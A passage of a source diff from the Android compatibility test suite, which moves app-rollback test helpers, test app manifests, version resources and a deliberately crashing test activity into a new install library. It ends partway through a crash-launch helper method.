+++ b/libs/install/testapp/Bv1.xml
@@ -15,15 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
+    package="com.android.cts.install.lib.testapp.B"
     android:versionCode="1"
     android:versionName="1.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App B1">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/Bv2.xml
similarity index 78%
copy from libs/rollback/testapp/A2.xml
copy to libs/install/testapp/Bv2.xml
index d879a91..f030c3f 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -15,15 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
+    package="com.android.cts.install.lib.testapp.B"
     android:versionCode="2"
     android:versionName="2.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A2">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App B2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v1/values-anydpi/values.xml
similarity index 93%
rename from libs/rollback/testapp/res_v1/values/values.xml
rename to libs/install/testapp/res_v1/values-anydpi/values.xml
index 8e71917..90d3da2 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v1/values-anydpi/values.xml
@@ -15,5 +15,5 @@
 -->
 
 <resources>
-    <integer name="app_version">1</integer>
+    <integer name="split_version">1</integer>
 </resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v1/values/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v1/values/values.xml
index 8e71917..0447c74 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v1/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <integer name="app_version">1</integer>
+    <integer name="split_version">0</integer>
 </resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v2/values-anydpi/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v2/values-anydpi/values.xml
index 8e71917..9a1aa7f 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v2/values-anydpi/values.xml
@@ -15,5 +15,5 @@
 -->
 
 <resources>
-    <integer name="app_version">1</integer>
+    <integer name="split_version">2</integer>
 </resources>
diff --git a/libs/rollback/testapp/res_v2/values/values.xml b/libs/install/testapp/res_v2/values/values.xml
similarity index 93%
rename from libs/rollback/testapp/res_v2/values/values.xml
rename to libs/install/testapp/res_v2/values/values.xml
index dac8dd6..fd988f5 100644
--- a/libs/rollback/testapp/res_v2/values/values.xml
+++ b/libs/install/testapp/res_v2/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <integer name="app_version">2</integer>
+    <integer name="split_version">0</integer>
 </resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v3/values-anydpi/values.xml
similarity index 93%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v3/values-anydpi/values.xml
index 8e71917..f2d8992 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v3/values-anydpi/values.xml
@@ -15,5 +15,5 @@
 -->
 
 <resources>
-    <integer name="app_version">1</integer>
+    <integer name="split_version">3</integer>
 </resources>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/install/testapp/res_v3/values/values.xml
similarity index 88%
copy from libs/rollback/testapp/res_v1/values/values.xml
copy to libs/install/testapp/res_v3/values/values.xml
index 8e71917..968168a 100644
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ b/libs/install/testapp/res_v3/values/values.xml
@@ -15,5 +15,6 @@
 -->
 
 <resources>
-    <integer name="app_version">1</integer>
+    <integer name="app_version">3</integer>
+    <integer name="split_version">0</integer>
 </resources>
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
new file mode 100644
index 0000000..cbaccf7
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/CrashingMainActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+/**
+ * A crashing test app for testing apk rollback support.
+ */
+public class CrashingMainActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        incrementCountAndBroadcast();
+        throw new RuntimeException("Intended force crash");
+    }
+
+    private void incrementCountAndBroadcast() {
+        SharedPreferences preferences = getSharedPreferences("prefs", Context.MODE_PRIVATE);
+        SharedPreferences.Editor editor = preferences.edit();
+        int count = preferences.getInt("crash_count", 0);
+        editor.putInt("crash_count", ++count).commit();
+
+        Intent intent = new Intent("com.android.tests.rollback.CRASH");
+        intent.putExtra("count", count);
+        sendBroadcast(intent);
+    }
+}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
similarity index 67%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
index 37276e2..ab2d90b 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/MainActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,15 +14,24 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package com.android.cts.install.lib.testapp;
 
 import android.app.Activity;
 import android.os.Bundle;
 
+/**
+ * A test app for testing apk rollback support.
+ */
 public class MainActivity extends Activity {
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+
+        try {
+            new ProcessUserData().processUserData(this);
+        } catch (ProcessUserData.UserDataException e) {
+            throw new AssertionError("Failed to process app user data", e);
+        }
     }
 }
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
new file mode 100644
index 0000000..842a674
--- /dev/null
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.Scanner;
+
+/**
+ * A broadcast receiver to check for and update user app data version
+ * compatibility.
+ */
+public class ProcessUserData extends BroadcastReceiver {
+
+    /**
+     * Exception thrown in case of issue with user data.
+     */
+    public static class UserDataException extends Exception {
+        public UserDataException(String message) {
+            super(message);
+        }
+
+        public UserDataException(String message, Throwable cause) {
+           super(message, cause);
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        try {
+            processUserData(context);
+            setResultCode(1);
+        } catch (UserDataException e) {
+            setResultCode(0);
+            setResultData(e.getMessage());
+        }
+    }
+
+    /**
+     * Update the app's user data version to match the app version.
+     *
+     * @param context The application context.
+     * @throws UserDataException in case of problems with app user data.
+     */
+    public void processUserData(Context context) throws UserDataException {
+        Resources res = context.getResources();
+        String packageName = context.getPackageName();
+
+        int appVersionId = res.getIdentifier("app_version", "integer", packageName);
+        int appVersion = res.getInteger(appVersionId);
+
+        int splitVersionId = res.getIdentifier("split_version", "integer", packageName);
+        int splitVersion = res.getInteger(splitVersionId);
+
+        // Make sure the app version and split versions are compatible.
+        if (appVersion != splitVersion) {
+            throw new UserDataException("Split version " + splitVersion
+                    + " does not match app version " + appVersion);
+        }
+
+        // Read the version of the app's user data and ensure it is compatible
+        // with our version of the application.
+        File versionFile = new File(context.getFilesDir(), "version.txt");
+        try {
+            Scanner s = new Scanner(versionFile);
+            int userDataVersion = s.nextInt();
+            s.close();
+
+            if (userDataVersion > appVersion) {
+                throw new UserDataException("User data is from version " + userDataVersion
+                        + ", which is not compatible with this version " + appVersion
+                        + " of the RollbackTestApp");
+            }
+        } catch (FileNotFoundException e) {
+            // No problem. This is a fresh install of the app or the user data
+            // has been wiped.
+        }
+
+        // Record the current version of the app in the user data.
+        try {
+            PrintWriter pw = new PrintWriter(versionFile);
+            pw.println(appVersion);
+            pw.close();
+        } catch (IOException e) {
+            throw new UserDataException("Unable to write user data.", e);
+        }
+    }
+}
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index b4d31e2..3e4d0a3 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,29 +12,9 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-android_test_helper_app {
-    name: "RollbackManagerTestAppA1",
-    manifest: "testapp/A1.xml",
-    sdk_version: "current",
-    srcs: ["testapp/src/**/*.java"],
-    resource_dirs: ["testapp/res_v1"],
-}
-
-android_test_helper_app {
-    name: "RollbackManagerTestAppA2",
-    manifest: "testapp/A2.xml",
-    sdk_version: "current",
-    srcs: ["testapp/src/**/*.java"],
-    resource_dirs: ["testapp/res_v2"],
-}
-
 java_library {
     name: "cts-rollback-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-install-lib"],
     sdk_version: "test_current",
-    java_resources: [
-        ":RollbackManagerTestAppA1",
-        ":RollbackManagerTestAppA2",
-    ],
 }
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Install.java b/libs/rollback/src/com/android/cts/rollback/lib/Install.java
deleted file mode 100644
index caa39a0..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Install.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.Intent;
-import android.content.pm.PackageInstaller;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-/**
- * Helper class for installing test apps.
- */
-public class Install {
-    private final boolean mIsMultiPackage;
-    private final TestApp[] mTestApps;
-    private boolean mIsStaged = false;
-    private boolean mEnableRollback = false;
-
-    private Install(boolean isMultiPackage, TestApp... testApps) {
-        mIsMultiPackage = isMultiPackage;
-        mTestApps = testApps;
-    }
-
-    /**
-     * Creates an Install builder to install a single package.
-     */
-    public static Install single(TestApp testApp) {
-        return new Install(false, testApp);
-    }
-
-    /**
-     * Creates an Install builder to install using multiPackage.
-     */
-    public static Install multi(TestApp... testApps) {
-        return new Install(true, testApps);
-    }
-
-    /**
-     * Makes the install a staged install.
-     */
-    public Install setStaged() {
-        mIsStaged = true;
-        return this;
-    }
-
-    /**
-     * Enables rollback for the install.
-     */
-    public Install setEnableRollback() {
-        mEnableRollback = true;
-        return this;
-    }
-
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
-    }
-
-    /**
-     * Creates an empty install session with appropriate install params set.
-     *
-     * @return the session id of the newly created session
-     */
-    private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
-            throws IOException {
-        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        if (multiPackage) {
-            params.setMultiPackage();
-        }
-        if (isApex) {
-            params.setInstallAsApex();
-        }
-        if (mIsStaged) {
-            params.setStaged();
-        }
-        params.setEnableRollback(mEnableRollback);
-        return getPackageInstaller().createSession(params);
-    }
-
-    /**
-     * Creates an install session for the given test app.
-     *
-     * @return the session id of the newly created session.
-     */
-    private int createInstallSession(TestApp app) throws IOException {
-        int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
-        PackageInstaller.Session session = getPackageInstaller().openSession(sessionId);
-
-        ClassLoader loader = TestApp.class.getClassLoader();
-        for (String resourceName : app.getResourceNames()) {
-            try (OutputStream os = session.openWrite(resourceName, 0, -1);
-                    InputStream is = loader.getResourceAsStream(resourceName);) {
-                byte[] buffer = new byte[4096];
-                int n;
-                while ((n = is.read(buffer)) >= 0) {
-                    os.write(buffer, 0, n);
-                }
-            }
-        }
-        session.close();
-        return sessionId;
-    }
-
-    /**
-     * Commits the install.
-     */
-    public void commit() throws IOException, InterruptedException {
-        final int sessionId;
-        final PackageInstaller.Session session;
-        if (mIsMultiPackage) {
-            sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
-            session = getPackageInstaller().openSession(sessionId);
-            for (TestApp app : mTestApps) {
-                session.addChildSessionId(createInstallSession(app));
-            }
-        } else {
-            assert mTestApps.length == 1;
-            sessionId = createInstallSession(mTestApps[0]);
-            session = getPackageInstaller().openSession(sessionId);
-        }
-
-        session.commit(LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-
-        if (mIsStaged) {
-            Utils.waitForSessionReady(sessionId);
-        }
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java b/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
deleted file mode 100644
index bd8f0dd..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Helper for making IntentSenders whose results are sent back to the test
- * app.
- */
-public class LocalIntentSender extends BroadcastReceiver {
-
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        sIntentSenderResults.add(intent);
-    }
-
-    /**
-     * Get a LocalIntentSender.
-     */
-    static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
-        return pending.getIntentSender();
-    }
-
-    /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
-     */
-    static Intent getIntentSenderResult() throws InterruptedException {
-        return sIntentSenderResults.take();
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
index 14e19bb..bb0bc60 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
@@ -19,6 +19,8 @@
 import android.content.pm.VersionedPackage;
 import android.content.rollback.PackageRollbackInfo;
 
+import com.android.cts.install.lib.TestApp;
+
 /**
  * Helper class for asserting PackageRollbackInfo contents.
  */
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
new file mode 100644
index 0000000..15438e4
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A broadcast receiver that can be used to get
+ * ACTION_ROLLBACK_COMMITTED broadcasts.
+ */
+public class RollbackBroadcastReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "RollbackTest";
+
+    private final BlockingQueue<Intent> mRollbackBroadcasts = new LinkedBlockingQueue<>();
+
+    /**
+     * Creates a RollbackBroadcastReceiver and registers it with the given
+     * context.
+     */
+    public RollbackBroadcastReceiver() {
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_ROLLBACK_COMMITTED);
+        InstrumentationRegistry.getContext().registerReceiver(this, filter);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Received rollback broadcast intent");
+        mRollbackBroadcasts.add(intent);
+    }
+
+    /**
+     * Polls for at most the given amount of time for the next rollback
+     * broadcast.
+     */
+    public Intent poll(long timeout, TimeUnit unit) throws InterruptedException {
+        return mRollbackBroadcasts.poll(timeout, unit);
+    }
+
+    /**
+     * Waits forever for the next rollback broadcast.
+     */
+    public Intent take() throws InterruptedException {
+        return mRollbackBroadcasts.take();
+    }
+
+    /**
+     * Unregisters this broadcast receiver.
+     */
+    public void unregister() {
+        InstrumentationRegistry.getContext().unregisterReceiver(this);
+    }
+}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
index 8bc9247..e81a89e 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
@@ -20,6 +20,8 @@
 import android.content.rollback.PackageRollbackInfo;
 import android.content.rollback.RollbackInfo;
 
+import com.android.cts.install.lib.TestApp;
+
 import com.google.common.truth.FailureMetadata;
 import com.google.common.truth.Subject;
 import com.google.common.truth.Truth;
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
new file mode 100644
index 0000000..08ba87a
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.ActivityManager;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.VersionedPackage;
+import android.content.rollback.PackageRollbackInfo;
+import android.content.rollback.RollbackInfo;
+import android.content.rollback.RollbackManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * Utilities to facilitate testing rollbacks.
+ */
+public class RollbackUtils {
+
+    private static final String TAG = "RollbackTest";
+
+    /**
+     * Time between repeated checks in {@link #retry}.
+     */
+    private static final long RETRY_CHECK_INTERVAL_MILLIS = 500;
+
+    /**
+     * Maximum number of checks in {@link #retry} before a timeout occurs.
+     */
+    private static final long RETRY_MAX_INTERVALS = 20;
+
+
+    /**
+     * Gets the RollbackManager for the instrumentation context.
+     */
+    public static RollbackManager getRollbackManager() {
+        Context context = InstrumentationRegistry.getContext();
+        RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
+        if (rm == null) {
+            throw new AssertionError("Failed to get RollbackManager");
+        }
+        return rm;
+    }
+
+    /**
+     * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
+     */
+    private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
+        for (RollbackInfo rollback :rollbacks) {
+            if (rollback.getRollbackId() == rollbackId) {
+                return rollback;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Returns an available rollback for the given package name. Returns null
+     * if there are no available rollbacks, and throws an assertion if there
+     * is more than one.
+     */
+    public static RollbackInfo getAvailableRollback(String packageName) {
+        RollbackManager rm = getRollbackManager();
+        return getUniqueRollbackInfoForPackage(rm.getAvailableRollbacks(), packageName);
+    }
+
+    /**
+     * Returns a recently committed rollback for the given package name. Returns null
+     * if there are no available rollbacks, and throws an assertion if there
+     * is more than one.
+     */
+    public static RollbackInfo getCommittedRollback(String packageName) {
+        RollbackManager rm = getRollbackManager();
+        return getUniqueRollbackInfoForPackage(rm.getRecentlyCommittedRollbacks(), packageName);
+    }
+
+    /**
+     * Returns a recently committed rollback for the given rollback Id.
+     * Returns null if no committed rollback with a matching Id was found.
+     */
+    public static RollbackInfo getCommittedRollbackById(int rollbackId) {
+        RollbackManager rm = getRollbackManager();
+        return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
+    }
+
+    /**
+     * Commit the given rollback.
+     * @throws AssertionError if the rollback fails.
+     */
+    public static void rollback(int rollbackId, TestApp... causePackages)
+            throws InterruptedException {
+        List<VersionedPackage> causes = new ArrayList<>();
+        for (TestApp cause : causePackages) {
+            causes.add(cause.getVersionedPackage());
+        }
+
+        RollbackManager rm = getRollbackManager();
+        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
+        Intent result = LocalIntentSender.getIntentSenderResult();
+        int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
+                RollbackManager.STATUS_FAILURE);
+        if (status != RollbackManager.STATUS_SUCCESS) {
+            String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
+            throw new AssertionError(message);
+        }
+    }
+
+    /**
+     * Forwards the device clock time by {@code offsetMillis}.
+     */
+    public static void forwardTimeBy(long offsetMillis) {
+        setTime(System.currentTimeMillis() + offsetMillis);
+        Log.i(TAG, "Forwarded time on device by " + offsetMillis + " millis");
+    }
+
+    /**
+     * Returns the RollbackInfo with a given package in the list of rollbacks.
+     * Throws an assertion failure if there is more than one such rollback
+     * info. Returns null if there are no such rollback infos.
+     */
+    public static RollbackInfo getUniqueRollbackInfoForPackage(List<RollbackInfo> rollbacks,
+            String packageName) {
+        RollbackInfo found = null;
+        for (RollbackInfo rollback : rollbacks) {
+            for (PackageRollbackInfo info : rollback.getPackages()) {
+                if (packageName.equals(info.getPackageName())) {
+                    assertThat(found).isNull();
+                    found = rollback;
+                    break;
+                }
+            }
+        }
+        return found;
+    }
+
+    /**
+     * Returns an available rollback matching the specified package name. If no such rollback is
+     * available, getAvailableRollbacks is called repeatedly until one becomes available. An
+     * assertion is raised if this does not occur after a certain number of checks.
+     */
+    public static RollbackInfo waitForAvailableRollback(String packageName)
+            throws InterruptedException {
+        return retry(() -> getAvailableRollback(packageName),
+                Objects::nonNull, "Rollback did not become available.");
+    }
+
+    /**
+     * If there is no available rollback matching the specified package name, this returns
+     * immediately. If such a rollback is available, getAvailableRollbacks is called repeatedly
+     * until it is no longer available. An assertion is raised if this does not occur after a
+     * certain number of checks.
+     */
+    public static void waitForUnavailableRollback(String packageName) throws InterruptedException {
+        retry(() -> getAvailableRollback(packageName), Objects::isNull,
+                "Rollback did not become unavailable");
+    }
+
+    private static <T> T retry(Supplier<T> supplier, Predicate<T> predicate, String message)
+            throws InterruptedException {
+        for (int i = 0; i < RETRY_MAX_INTERVALS; i++) {
+            T result = supplier.get();
+            if (predicate.test(result)) {
+                return result;
+            }
+            Thread.sleep(RETRY_CHECK_INTERVAL_MILLIS);
+        }
+        throw new AssertionError(message);
+    }
+
+    /**
+     * Send broadcast to crash {@code packageName} {@code count} times. If {@code count} is at least
+     * {@link PackageWatchdog#TRIGGER_FAILURE_COUNT}, watchdog crash detection will be triggered.
+     */
+    public static void sendCrashBroadcast(String packageName,
+            int count) throws InterruptedException, IOException {
+        for (int i = 0; i < count; ++i) {
+            launchPackageForCrash(packageName);
+        }
+    }
+
+    private static void setTime(long millis) {
+        Context context = InstrumentationRegistry.getContext();
+        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
+        am.setTime(millis);
+    }
+
+    /**
+     * Launches {@code packageName} with {@link Intent#ACTION_MAIN} and
+     * waits for a CRASH broadcast from the launched app.
+     */
+    private static void launchPackageForCrash(String packageName)
+            throws InterruptedException, IOException {
+        // Force stop the package before launching it to make sure it isn't
+        // stuck in a non-launchable state. And wait a second afterwards to
+        // avoid interfering with when we launch the app.
+        Log.i(TAG, "Force stopping " + packageName);
+        Context context = InstrumentationRegistry.getContext();
+        ActivityManager am = context.getSystemService(ActivityManager.class);
+        am.forceStopPackage(packageName);
+        Thread.sleep(1000);
+
+        // Register a receiver to listen for the CRASH broadcast.
+        CountDownLatch latch = new CountDownLatch(1);
+        IntentFilter crashFilter = new IntentFilter();
+        crashFilter.addAction("com.android.tests.rollback.CRASH");
+        crashFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        BroadcastReceiver crashReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received CRASH broadcast from " + packageName);
+                latch.countDown();
+            }
+        };
+        context.registerReceiver(crashReceiver, crashFilter);
+
+        // Launch the app.
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setPackage(packageName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        Log.i(TAG, "Launching " + packageName + " with " + intent);
+        context.startActivity(intent);
+
